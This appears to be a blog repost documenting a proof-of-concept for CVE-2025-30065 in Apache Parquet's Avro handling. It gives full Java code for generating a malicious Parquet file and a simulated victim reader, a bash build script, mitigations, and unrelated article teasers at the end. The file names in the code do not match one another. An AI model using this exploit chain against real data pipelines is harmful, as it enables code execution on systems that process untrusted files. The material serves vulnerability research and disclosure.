news 2026/6/10 11:08:44

Apache Parquet Avro反序列化漏洞POC:CVE-2025-30065

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Apache Parquet Avro反序列化漏洞POC:CVE-2025-30065

Apache Parquet Avro反序列化漏洞POC:CVE-2025-30065

⚠️ 风险概述

  • 严重性:CVSS评分10.0(严重☠️)
  • 攻击方式:攻击者可构造恶意Parquet文件,其嵌入的Avro模式旨在触发任意Java类的实例化。
  • 后果:在特定条件下,可导致远程代码执行(RCE)

功能特性

本POC项目完整演示了CVE-2025-30065漏洞的利用链:

  • 恶意文件生成ParquetExploitGenerator类创建包含恶意Avro模式的Parquet文件。
  • 漏洞触发模拟ParquetVictim类模拟受害者应用程序读取恶意Parquet文件。
  • 依赖管理自动化:通过Shell脚本自动处理Maven依赖解析与项目编译。
  • 跨平台payload(历史参考)PayloadRecord类展示了静态初始化块中的命令执行逻辑(在新版POC中已被更隐蔽的类实例化逻辑覆盖)。

安装指南

前置要求

  • Java 8+
  • Maven

安装步骤

项目提供了自动化构建脚本CVE-2025-30065.sh

  1. 确保脚本具有可执行权限:
    sudochmod+x CVE-2025-30065.sh
  2. 运行脚本,它将自动解析依赖、编译所有Java文件并执行完整的POC链条:
    ./CVE-2025-30065.sh

使用说明

运行自动化脚本后,将按顺序执行以下操作:

  1. 生成恶意Parquet文件:使用ParquetExploitGenerator创建一个名为exploit-jeditorpane.parquet的文件,其Avro模式的默认值字段被精心构造为实例化javax.swing.JEditorPane类。
  2. 模拟受害者读取ParquetVictim应用程序读取该文件,在反序列化Avro模式并处理默认值时触发目标类的实例化。

基础工作流程

整个漏洞利用的核心流程封装在Shell脚本中,其逻辑如下:

  1. 使用Maven解析项目依赖并生成类路径文件。
  2. 编译所有必要的Java源代码。
  3. 运行漏洞生成器创建恶意文件。
  4. 运行受害者程序触发漏洞。

核心代码

1. 恶意Parquet文件生成器 (ParquetExploitGenerator.java)

/** * @author Blackash * @version 1.3 * @license For authorized security research and educational purposes only. * * Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065, * aligned with the vulnerability logic observed in the official Apache patch. * * This version avoids using custom classes and instead leverages a standard Java class * (javax.swing.JEditorPane) known to exhibit side effects when deserialized. * */importorg.apache.avro.Schema;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;importorg.apache.parquet.avro.AvroParquetWriter;importorg.apache.parquet.hadoop.ParquetWriter;importjava.io.IOException;publicclassParquetExploitGenerator{publicstaticvoidmain(String[]args)throwsIOException{// 默认输出文件名为 exploit-jeditorpane.parquetStringoutputFile=args.length>0?args[0]:"exploit-jeditorpane.parquet";// 恶意Avro模式定义:其‘trigger’字段的类型被设置为‘javax.swing.JEditorPane’记录StringmaliciousSchema="{"+"\"type\": \"record\","+"\"name\": \"ExploitRecord\","+"\"fields\": ["+" {\"name\": \"trigger\","+" \"type\": {\"type\": \"record\", \"name\": \"javax.swing.JEditorPane\", \"fields\": []},"+" \"default\": {}"// 默认值为空对象,触发目标类实例化+" }"+"]"+"}";// 解析模式Schemaschema=newSchema.Parser().parse(maliciousSchema);Pathpath=newPath(outputFile);Configurationconf=newConfiguration();// 使用AvroParquetWriter写入文件try(ParquetWriter<Object>writer=AvroParquetWriter.builder(path).withSchema(schema).withConf(conf).build()){writer.write(null);}System.out.println("[+] Malicious Parquet file generated: "+outputFile);System.out.println("[!] Schema instantiates javax.swing.JEditorPane via default value.");}}

2. 受害者应用程序 (ParquetVictim.java)

packagevictim;importorg.apache.avro.generic.GenericRecord;importorg.apache.parquet.avro.AvroParquetReader;importorg.apache.parquet.hadoop.ParquetReader;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;publicclassParquetVictim{publicstaticvoidmain(String[]args)throwsException{// 读取恶意Parquet文件Pathpath=newPath("exploit.parquet");ParquetReader<GenericRecord>reader=AvroParquetReader.<GenericRecord>builder(path).withConf(newConfiguration()).build();// 读取记录,此操作会触发Avro模式中默认值的反序列化,从而实例化恶意类GenericRecordrecord=reader.read();System.out.println("Record loaded: "+record);// this triggers instantiation of default}}

3. 自动化构建与执行脚本 (CVE-2025-30065.sh)

#!/bin/bashBASE_DIR=$(pwd)BUILD_DIR="$BASE_DIR/build/classes"CP_FILE="$BASE_DIR/cp.txt"JAR_DEPS=""# 检查Maven并解析依赖ifcommand-v mvn&>/dev/null;thenecho"[+] Resolving dependencies with Maven..."mvn dependency:build-classpath -Dmdep.outputFile=cp.txt>/dev/nullif[!-f"$CP_FILE"];thenecho"[-] Failed to generate classpath (cp.txt)."exit1fiJAR_DEPS=$(cat"$CP_FILE")elseecho"[-] Maven not found. Please install Maven and run again."exit1fi# 创建构建目录mkdir-p"$BUILD_DIR"echo"[+] Compiling PayloadRecord.java..."javac -d"$BUILD_DIR"PayloadRecord.java||exit1echo"[+] Compiling ParquetExploitGenerator..."javac -cp".:$BUILD_DIR:$JAR_DEPS"-d"$BUILD_DIR"POC-CVE-2025-30065-ParquetExploitGenerator.java||exit1echo"[+] Running exploit generator..."java -cp".:$BUILD_DIR:$JAR_DEPS"POC-CVE-2025-30065-ParquetExploitGenerator||exit1echo"[+] Compiling ParquetVictim.java..."javac -cp".:$BUILD_DIR:$JAR_DEPS"-d"$BUILD_DIR"ParquetVictim.java||exit1echo"[+] Running victim (payload should trigger)..."java -cp".:$BUILD_DIR:$JAR_DEPS"ParquetVictim

安全建议与缓解措施

  1. 立即更新:将 Apache Parquet Java 库升级至1.15.1 或更高版本
  2. 启用类允许列表
    • 配置org.apache.parquet.avro.SERIALIZABLE_PACKAGES,仅允许受信任的包(避免使用*)。
    • 使用org.apache.avro.TRUSTED_PACKAGES来限制Avro模式行为。
  3. 来源控制:避免处理来自不可信来源的Parquet文件,或对文件进行安全扫描。

免责声明

本项目内容仅供教育研究及安全意识提升之目的,旨在揭示Apache Parquet中CVE-2025-30065安全漏洞的原理。任何信息均不鼓励或支持恶意活动、未经授权的系统访问或漏洞利用
请确保您拥有测试目标系统的授权,并遵循负责任的披露流程及法律边界。作者不对信息的任何误用负责。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4lCdOI9nDKouWcoabNKkPM
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/5 20:02:44

php BC MATH扩展函数巧妙进行财务金额四舍五入

结论&#xff1a;bcadd函数操作 0.5 能够实现“四舍五入”。✅ 核心原理&#xff1a;加 0.5 的作用 在十进制中&#xff0c;“四舍五入”的本质是&#xff1a; 如果小数部分 大于等于 0.5&#xff0c;则向上取整&#xff1b;如果小数部分 小于 0.5&#xff0c;则向下取整。 通过…

作者头像 李华
网站建设 2026/6/5 10:42:13

多智能体协作封神!MultiAgentPPT让高质量PPT生成效率暴涨10倍

相信每个职场人都有过被PPT支配的恐惧&#xff1a;为了一份汇报&#xff0c;翻遍十几份资料找数据&#xff0c;熬到半夜梳理逻辑结构&#xff0c;反复调整排版格式&#xff0c;最后还可能因为内容不全面、逻辑不清晰被打回重改。学生党做课题报告、创业者准备融资演示、市场人员…

作者头像 李华
网站建设 2026/6/8 15:11:05

一文讲透|专科生必备的AI论文软件 —— 千笔·专业学术智能体

你是否曾为论文选题发愁&#xff0c;绞尽脑汁却无从下手&#xff1f;是否在深夜面对空白文档&#xff0c;思绪枯竭、无从下笔&#xff1f;又或者&#xff0c;反复修改却总对表达不满意&#xff0c;查重率高得让人心慌&#xff1f;专科生的论文之路本就充满挑战&#xff0c;而千…

作者头像 李华
网站建设 2026/5/28 18:35:13

为什么dwg文件和shp文件互转有时会飞老远?

1问题&#xff1a;带号 / 东偏移量处理不一致 CGCS2000 3 度带的带号系&#xff08;Zone_39&#xff09; 和无带号&#xff08;CM_117E&#xff09; 东偏移量差带号39 1000000&#xff0c;互转时只要一方保留带号、一方剥离&#xff0c;坐标直接偏移数十万米&#xff1a; 例&am…

作者头像 李华
网站建设 2026/6/5 0:43:30

别再乱写了,Controller 层代码这样写才足够规范!

本篇主要要介绍的就是controller层的处理&#xff0c;一个完整的后端请求由4部分组成&#xff1a; 接口地址(也就是URL地址)、 2. 请求方式(一般就是get、set&#xff0c;当然还有put、delete)、 3. 请求数据(request&#xff0c;有head跟body)、 4. 响应数据(response) 本…

作者头像 李华